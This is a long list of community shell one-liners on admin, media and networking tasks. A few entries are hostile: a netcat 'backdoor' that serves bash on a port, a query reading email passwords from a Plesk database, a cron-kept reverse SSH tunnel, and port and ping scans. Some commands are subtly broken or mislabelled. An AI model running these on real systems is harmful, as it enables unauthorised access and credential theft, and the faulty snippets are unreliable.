  4300. curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
  4301.  
  4302. # Print stack trace of a core file without needing to enter gdb interactively
  4303. alias gdbbt="gdb -q -n -ex bt -batch"
  4304.  
  4305. # Create date based backups
  4306. backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
  4307.  
  4308. # Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
  4309. pdftk mydoc.pdf burst
  4310.  
  4311.  
  4312.  
  4313. # Create a backdoor on a machine to allow remote connection to bash
  4314. /bin/bash | nc -l 1234
  4315.  
  4316. # umount all nfs mounts on machine
  4317. umount -a -t nfs
  4318.  
  4319. # Figure out your work output for the day
  4320. git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
  4321.  
  4322. # Remove color codes (special characters) with sed
  4323. sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
  4324.  
  4325. # Get the absolute path of a file
  4326. absolute_path () { readlink -f "$1"; };
  4327.  
  4328. # backup local MySQL database into a folder and removes older then 5 days backups
  4329. mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
  4330.  
  4331. # List installed deb packages by size
  4332. dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
  4333.  
  4334. # Display a block of text with AWK
  4335. sed -n /start_pattern/,/stop_pattern/p file.txt
  4336.  
  4337. # grep -v with multiple patterns.
  4338. sed '/test/{/error\|critical\|warning/d}' somefile
  4339.  
  4340. # StopWatch, simple text, hh:mm:ss using Unix Time
  4341. export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
  4342.  
  4343. # Compression formats Benchmark
  4344. for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
  4345.  
  4346. # geoip lookup
  4347. geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
  4348.  
  4349. # Localize provenance of current established connections
  4350. for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
  4351.  
  4352. # Determine MAC address of remote host when you know its IP address
  4353. arping 192.168.1.2
  4354.  
  4355. # calulate established tcp connection of local machine
  4356. netstat -an|grep -ci "tcp.*established"
  4357.  
  4358. # Using column to format a directory listing
  4359. (printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
  4360.  
  4361. # Enable programmable bash completion in debian lenny
  4362. aptitude install bash-completion ; source /etc/bash_completion
  4363.  
  4364. # List dot-files and dirs, but not . or ..
  4365. ls -A
  4366.  
  4367. # Make alias pemanent fast
  4368. PERMA () { echo "$@" >> ~/.bashrc; }
  4369.  
  4370. # Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
  4371. mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
  4372.  
  4373. # Port scan a range of hosts with Netcat.
  4374. for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
  4375.  
  4376. # 32 bits or 64 bits?
  4377. sudo lshw -C cpu|grep width
  4378.  
  4379. # Restart command if it dies.
  4380. ps -C program_name || { program_name & }
  4381.  
  4382. # clean up syntax and de-obfuscate perl script
  4383. %! perl -MO=Deparse | perltidy
  4384.  
  4385. # Remove color codes (special characters) with sed
  4386. sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
  4387.  
  4388.  
  4389.  
  4390. # Catch a proccess from a user and strace it.
  4391. x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
  4392.  
  4393. # Convert mp3/wav file to asterisk ulaw for music on hold (moh)
  4394. sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
  4395.  
  4396. # calulate established tcp connection of local machine
  4397. netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
  4398.  
  4399. # Change Title of Terminal Window to Verbose Info useful at Login
  4400. echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
  4401.  
  4402. # git remove files which have been deleted
  4403. git add -u
  4404.  
  4405. # Extract audio track from a video file using mencoder
  4406. mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
  4407.  
  4408. # Happy Days
  4409. echo {1..3}" o'clock" ROCK
  4410.  
  4411. # search for a file in PATH
  4412. type <filename>
  4413.  
  4414. # Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
  4415. ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
  4416.  
  4417. # Run remote web page, but don't save the results
  4418. wget -O /dev/null http://www.google.com
  4419.  
  4420. # Make a statistic about the lines of code
  4421. find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'
  4422.  
  4423. # When was your OS installed?
  4424. ls -ldct /lost+found |awk '{print $6, $7}'
  4425.  
  4426. # Update Ping.fm status
  4427. curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
  4428.  
  4429. # list all hd partitions
  4430. awk '/d.[0-9]/{print $4}' /proc/partitions
  4431.  
  4432. # Top 10 requestors by IP address from Apache/NCSA Logs
  4433. awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
  4434.  
  4435. # To get internet connection information .
  4436. sudo /bin/netstat -tpee
  4437.  
  4438. # Do a search-and-replace in a file after making a backup
  4439. perl -i'.bak' -pe 's/old/new/g' <filename>
  4440.  
  4441. # convert unixtime to human-readable
  4442. perl -e 'print scalar(gmtime(1234567890)), "\n"'
  4443.  
  4444. # convert unixtime to human-readable with awk
  4445. echo 1234567890 | awk '{ print strftime("%c", $0); }'
  4446.  
  4447. # scp a good script from host A which has no public access to host C, but with a hop by host B
  4448. cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
  4449.  
  4450. # Compare an archive with filesystem
  4451. tar dfz horde-webmail-1.2.3.tar.gz
  4452.  
  4453. # Update twitter via curl as Function
  4454. tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
  4455.  
  4456. # print file without duplicated lines usind awk
  4457. awk '!($0 in a) {a[$0];print}' file
  4458.  
  4459. # Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!)
  4460. cp -pr olddirectory newdirectory
  4461.  
  4462. # Download Youtube Playlist
  4463. y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
  4464.  
  4465.  
  4466.  
  4467. # YES = NO
  4468. yes n
  4469.  
  4470. # List all groups and the user names that were in each group
  4471. for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
  4472.  
  4473. # Random number generation within a range N, here N=10
  4474. echo $(( $RANDOM % 10 + 1 ))
  4475.  
  4476. # floating point operations in shell scripts
  4477. echo "scale=4; 3 / 5" | bc
  4478.  
  4479. # for all who don't have the watch command
  4480. watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
  4481.  
  4482. # Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
  4483. find . -type f | grep -rl $'\xEF\xBB\xBF'
  4484.  
  4485. # Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
  4486. eval $(sed -e "s/^d[^D]*DB_\([NUPH]\).*',[^']*'\([^']*\)'.*/_\1='\2';/" -e "/^_/!d" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
  4487.  
  4488. # formatting number with comma
  4489. printf "%'d\n" 1234567
  4490.  
  4491. # Find the process you are looking for minus the grepped one
  4492. ps -C command
  4493.  
  4494. # make 100 directories with leading zero, 001...100, using bash3.X
  4495. mkdir $(printf '%03d\n' {1..100})
  4496.  
  4497. # Switch to the previous branch used in git(1)
  4498. git checkout -
  4499.  
  4500. # Batch file name renaming (copying or moving) w/ glob matching.
  4501. for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
  4502.  
  4503. # Change Windows Domain password from Linux
  4504. smbpasswd -r <domain-server> -U <user name>
  4505.  
  4506. # Move all but the newest 100 emails to a gzipped archive
  4507. find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
  4508.  
  4509. # Testing php configuration
  4510. php -r "phpinfo\(\);"
  4511.  
  4512. # Recursively Find Images, Convert to JPEGS and Delete
  4513. find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;
  4514.  
  4515. # Convert one file from ISO-8859-1 to UTF-8.
  4516. iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
  4517.  
  4518. # Stage only portions of the changes to a file.
  4519. git add --patch <filename>
  4520.  
  4521. # Colorize make, gcc, and diff output
  4522. colormake, colorgcc, colordiff
  4523.  
  4524. # use wget to check if a remote file exists
  4525. wget --spider -v http://www.server.com/path/file.ext
  4526.  
  4527. # Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain.
  4528. curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
  4529.  
  4530. # Faster find and move using the find and xargs commands. Almost as fast as locate.
  4531. find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
  4532.  
  4533. # Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has.
  4534. netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
  4535.  
  4536. # How much RAM is Apache using?
  4537. ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
  4538.  
  4539. # Get Futurama quotations from slashdot.org servers
  4540. lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
  4541.  
  4542.  
  4543.  
  4544. # Batch File Rename with awk and sed
  4545. ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
  4546.  
  4547. # Count all conections estabilished on gateway
  4548. cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
  4549.  
  4550. # Run the last command as root - (Open)Solaris version with RBAC
  4551. pfexec !!
  4552.  
  4553. # Save a file you edited in vim without the needed permissions - (Open)solaris version with RBAC
  4554. :w !pfexec tee %
  4555.  
  4556. # find and grep Word docs
  4557. find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
  4558.  
  4559. # find geographical location of an ip address
  4560. lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
  4561.  
  4562. # Donwload media from *.rm from an url of type htttp://.../*.ram
  4563. wget <URL> -O- | wget -i -
  4564.  
  4565. # Find files containing string and open in vim
  4566. vim $(grep test *)
  4567.  
  4568. # Paste OS X clipboard contents to a file on a remote machine
  4569. pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
  4570.  
  4571. # Blank/erase a DVD-RW
  4572. dvd+rw-format -force /dev/dvd1
  4573.  
  4574. # find all non-html files
  4575. find . -type f ! -name "*html"
  4576.  
  4577. # find external links in all html files in a directory list
  4578. find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
  4579.  
  4580. # Search through files, ignoring .svn
  4581. grep <pattern> -R . --exclude-dir='.svn'
  4582.  
  4583. # Delete files if not have some extension
  4584. ls -1 |grep -v .jpg |xargs rm
  4585.  
  4586. # Matrix Style
  4587. echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
  4588.  
  4589. # Export log to html file
  4590. cat /var/log/auth.log | logtool -o HTML > auth.html
  4591.  
  4592. # Alternative size (human readable) of files and directories (biggest last)
  4593. du -ms * .[^.]*| sort -nk1
  4594.  
  4595. # Uniformly correct filenames in a directory
  4596. for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
  4597.  
  4598. # Print line immediately before a matching regex.
  4599. awk '/regex/{print x};{x=$0}'
  4600.  
  4601. # Show your account and windows policy settings with Results of Policy msc.
  4602. rsop.msc
  4603.  
  4604. # Set an alarm to wake up
  4605. sleep 5h && rhythmbox path/to/song
  4606.  
  4607. # Merge several pdf files into a single file
  4608. gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
  4609.  
  4610. # Get a shell with a not available account
  4611. su - <user> -s /bin/sh -c "/bin/sh"
  4612.  
  4613. # Size(k) of directories(Biggest first)
  4614. find . -depth -type d -exec du -s {} \; | sort -k1nr
  4615.  
  4616. # Watch several log files in a single window
  4617. multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
  4618.  
  4619.  
  4620.  
  4621. # Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
  4622. mplayer dvdnav:// -dvd-device foo.img -mouse-movements
  4623.  
  4624. # On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
  4625. unrar p -inul foo.rar|mplayer -
  4626.  
  4627. # Efficiently extract lines between markers
  4628. sed -n '/START/,${/STOP/q;p}'
  4629.  
  4630. # load changes without logging in and out vim
  4631. :source ~/.vimrc
  4632.  
  4633. # purge installed but unused linux headers, image, or modules
  4634. dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
  4635.  
  4636. # Sort lines using the Xth characted as the start of the sort string
  4637. sort -k1.x
  4638.  
  4639. # List commands with a short summary
  4640. find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
  4641.  
  4642. # Extract neatly a rar compressed file
  4643. unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
  4644.  
  4645. # Another way to calculate sum size of all files matching a pattern
  4646. find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
  4647.  
  4648. # Poor man's nmap for a class C network from rfc1918
  4649. ( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
  4650.  
  4651. # gets all files committed to svn by a particular user since a particular date
  4652. svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
  4653.  
  4654. # Synchronize both your system clock and hardware clock and calculate/adjust time drift
  4655. ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
  4656.  
  4657. # 'Fix' a typescript file created by the 'script' program to remove control characters
  4658. cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
  4659.  
  4660. # Random numbers with Ruby
  4661. ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
  4662.  
  4663. # find listening ports by pid
  4664. lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
  4665.  
  4666. # removing syncronization problems between audio and video
  4667. ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
  4668.  
  4669. # Lock your KDE4 remotely (via regular KDE lock)
  4670. DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
  4671.  
  4672. # List last opened tabs in firefox browser
  4673. F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
  4674.  
  4675. # Vi - Matching Braces, Brackets, or Parentheses
  4676. %
  4677.  
  4678. # Find which jars contain a class
  4679. find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
  4680.  
  4681. # Break lines after, for example 78 characters, but don't break within a word/string
  4682. fold -w 78 -s file-to-wrap
  4683.  
  4684. # Print permanent subtitles on a video
  4685. transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
  4686.  
  4687. # Go to the next sibling directory in alphabetical order, version 2
  4688. cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
  4689.  
  4690. # find largest file in /var
  4691. find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
  4692.  
  4693. # List all PostgreSQL databases. Useful when doing backups
  4694. psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
  4695.  
  4696.  
  4697.  
  4698. # Show established network connections
  4699. lsof -i | grep -i estab
  4700.  
  4701. # Start screen with name and run command
  4702. screen -dmS "name_me" echo "hi"
  4703.  
  4704. # Mac OS X: Change Color of the ls Command
  4705. export LSCOLORS=gxfxcxdxbxegedabagacad
  4706.  
  4707. # Merge video files together using mencoder (part of mplayer)
  4708. mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi
  4709.  
  4710. # Backup of a partition
  4711. cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
  4712.  
  4713. # Connect via sftp to a specific port
  4714. sftp -oPort=3476 user@host
  4715.  
  4716. # Get file access control list
  4717. getfacl /mydir
  4718.  
  4719. # Clone current directory into /destination verbosely
  4720. find . | cpio -pumdv /destination
  4721.  
  4722. # Mount a disk image (dmg) file in Mac OSX
  4723. hdiutil attach somefile.dmg
  4724.  
  4725. # list and sort files by size in reverse order (file size in human readable output)
  4726. ls -S -lhr
  4727.  
  4728. # Convert a SVG file to grayscale
  4729. inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
  4730.  
  4731. # send a .loc file to a garmin gps over usb
  4732. gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
  4733.  
  4734. # Browse shared folder when you're the only Linux user
  4735. smbclient -U userbob //10.1.1.75/Shared
  4736.  
  4737. # connect to all screen instances running
  4738. screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
  4739.  
  4740. # Add 10 random unrated songs to xmms2 playlist
  4741. xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
  4742.  
  4743. # Output a list of svn repository entities to xml file
  4744. svn list -R https://repository.com --xml >> svnxxmlinfo.xml
  4745.  
  4746. # batch convert Nikon RAW (nef) images to JPG
  4747. ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
  4748.  
  4749. # Lazy man's vim
  4750. function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
  4751.  
  4752. # Find writable files
  4753. find -writable
  4754.  
  4755. # Edit file(s) that has been just listed
  4756. vi `!!`
  4757.  
  4758. # Use ImageMagick to get an image's properties
  4759. identify -ping imageName.png
  4760.  
  4761. # Pulls email password out of Plesk database for given email address.
  4762. mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
  4763.  
  4764. # Play musical notes from octave of middle C
  4765. man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
  4766.  
  4767. # ensure your ssh tunnel will always be up (add in crontab)
  4768. [[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
  4769.  
  4770. # Using ASCII Art output on MPlayer
  4771. mplayer -vo aa <video file>
  4772.  
  4773.  
  4774.  
  4775. # Generate 10 pronunciable passwords
  4776. apg -a 0 -n 10
  4777.  
  4778. # find an unused unprivileged TCP port
  4779. netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
  4780.  
  4781. # Watch your freebox flux, through a other internet connection (for French users)
  4782. vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
  4783.  
  4784. # Resize photos without changing exif
  4785. mogrify -format jpg -quality 80 -resize 800 *.jpg
  4786.  
  4787. # Recursively lists all files in the current directory, except the ones in '.snapshot' directory
  4788. find . -wholename './.snapshot' -prune -o -print
  4789.  
  4790. # Display rows and columns of random numbers with awk
  4791. seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
  4792.  
  4793. # View non-printing characters with cat
  4794. cat -v -t -e
  4795.  
  4796. # Optimize Xsane PDFs
  4797. gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
  4798.  
  4799. # Downsample mp3s to 128K
  4800. for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
  4801.  
  4802. # Create black and white image
  4803. convert -colorspace gray face.jpg gray_face.jpg
  4804.  
  4805. # print date 24 hours ago
  4806. date --date=yesterday
  4807.  
  4808. # find the longest command in your history
  4809. history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
  4810.  
  4811. # colored prompt
  4812. export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
  4813.  
  4814. # Scan for new SCSI devices
  4815. echo "- - -" > /sys/class/scsi_host/host0/scan
  4816.  
  4817. # Count number of Line for all the files in a directory recursively
  4818. for file in `find . -type f`; do cat $file; done | wc -l
  4819.  
  4820. # Bash autocomplete case insensitive search
  4821. shopt -s nocaseglob
  4822.  
  4823. # To have only unique lines in a file
  4824. sort file1.txt | uniq > file2.txt
  4825.  
  4826. # Convert your favorite image in xpm for using in grub
  4827. convert image123.png -colors 14 -resize 640x480 grubimg.xpm
  4828.  
  4829. # Open Perl module source in your editor
  4830. $EDITOR `perldoc -l Module::Name`
  4831.  
  4832. # Never rewrites a file while copying (or moving)
  4833. cp --backup=t source.file target.file
  4834.  
  4835. # grep apache access.log and list IP's by hits and date - sorted
  4836. grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
  4837.  
  4838. # Mac OS X: remove extra languages to save over 3 GB of space.
  4839. sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
  4840.  
  4841. # Remove annoying OS X DS_Store folders
  4842. find . -name .DS_Store -exec rm {} \;
  4843.  
  4844. # Getting the last argument from the previous command
  4845. cd !$
  4846.  
  4847. # How to pull out lines between two patterns
  4848. perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
  4849.  
  4850.  
  4851.  
  4852. # Convert all WMF images to SVG recursively ignoring file extension case
  4853. find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
  4854.  
  4855. # Show the disk usage for files pointed by symbolic link in a directory
  4856. find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
  4857.  
  4858. # Create md5sum of files under the current dir excluding some directories
  4859. find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
  4860.  
  4861. # Create a listing of all possible permissions and their octal representation.
  4862. touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
  4863.  
  4864. # Execute a sudo command remotely, without displaying the password
  4865. stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
  4866.  
  4867. # Generate a playlist of all the files in the directory, newer first
  4868. find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
  4869.  
  4870. # Show this month's calendar, with today's date highlighted
  4871. cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
  4872.  
  4873. # Monitor Linux/MD RAID Rebuild
  4874. watch -n 5 -d cat /proc/mdstat
  4875.  
  4876. # Watch contents of a file grow
  4877. tail -n 0 -f /var/log/messages
  4878.  
  4879. # Kill most recently created process.
  4880. pkill -n firefox
  4881.  
  4882. # Find out what package some command belongs to (on RPM systems)
  4883. rpm -qif `which more`
  4884.  
  4885. # Shows physically connected drives (SCSI or SATA)
  4886. ls /sys/bus/scsi/devices
  4887.  
  4888. # Print the 10 deepest directory paths
  4889. find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
  4890.  
  4891. # memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out.
  4892. echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
  4893.  
  4894. # Remove Backup Files
  4895. find / -name *~ -delete
  4896.  
  4897. # checking space availabe on all /proc/mounts points (using Nagios check_disk)
  4898. check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
  4899.  
  4900. # Show top running processes by the number of open filehandles they have
  4901. lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
  4902.  
  4903. # display contents of a file w/o any comments or blank lines
  4904. egrep '^[^#]' some_file
  4905.  
  4906. # Short and sweet output from dig(1)
  4907. alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
  4908.  
  4909. # use the real 'rm', distribution brain-damage notwithstanding
  4910. \rm somefile
  4911.  
  4912. # Enter your ssh password one last time
  4913. cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
  4914.  
  4915. # Generate White Noise
  4916. cat /dev/urandom > /dev/dsp
  4917.  
  4918. # Convert df command to posix; uber GREPable
  4919. df -P
  4920.  
  4921. # bash shell expansion
  4922. cp /really/long/path/and/file/name{,-`date -I`}
  4923.  
  4924. # Want to known what time is it in another part of the world ?
  4925. TZ=Indian/Maldives date
  4926.  
  4927.  
  4928.  
  4929. # Check ps output to see if file is running, if not start it
  4930. ps -C thisdaemon || { thisdaemon & }
  4931.  
  4932. # Add a line to a file using sudo
  4933. echo "foo bar" | sudo tee -a /path/to/some/file
  4934.  
  4935. # Send a backup job to a remote tape drive on another machine over SSH
  4936. tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
  4937.  
  4938. # Kill all processes belonging to a user
  4939. ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
  4940.  
  4941. # Find files with root setuids settings
  4942. sudo find / -user root -perm -4000 -print
  4943.  
  4944. # a for loop with filling 0 format, with seq
  4945. for i in `seq -f %03g 5 50 111`; do echo $i ; done
  4946.  
  4947. # Search manpages for a keyword
  4948. man -k <keyword>
  4949.  
  4950. # Current running process ordered by %CPU
  4951. ps -eo pcpu,pid,args | sort -n
  4952.  
  4953. # useless load
  4954. cat /dev/urandom | gzip -9 > /dev/null &
  4955.  
  4956. # Pulls total current memory usage, including SWAP being used, by all active processes.
  4957. ps aux | awk '{sum+=$6} END {print sum/1024}'
  4958.  
  4959. # list files with last modified at the end
  4960. alias lrt='ls -lart'
  4961.  
  4962. # Add all files not under subversion control
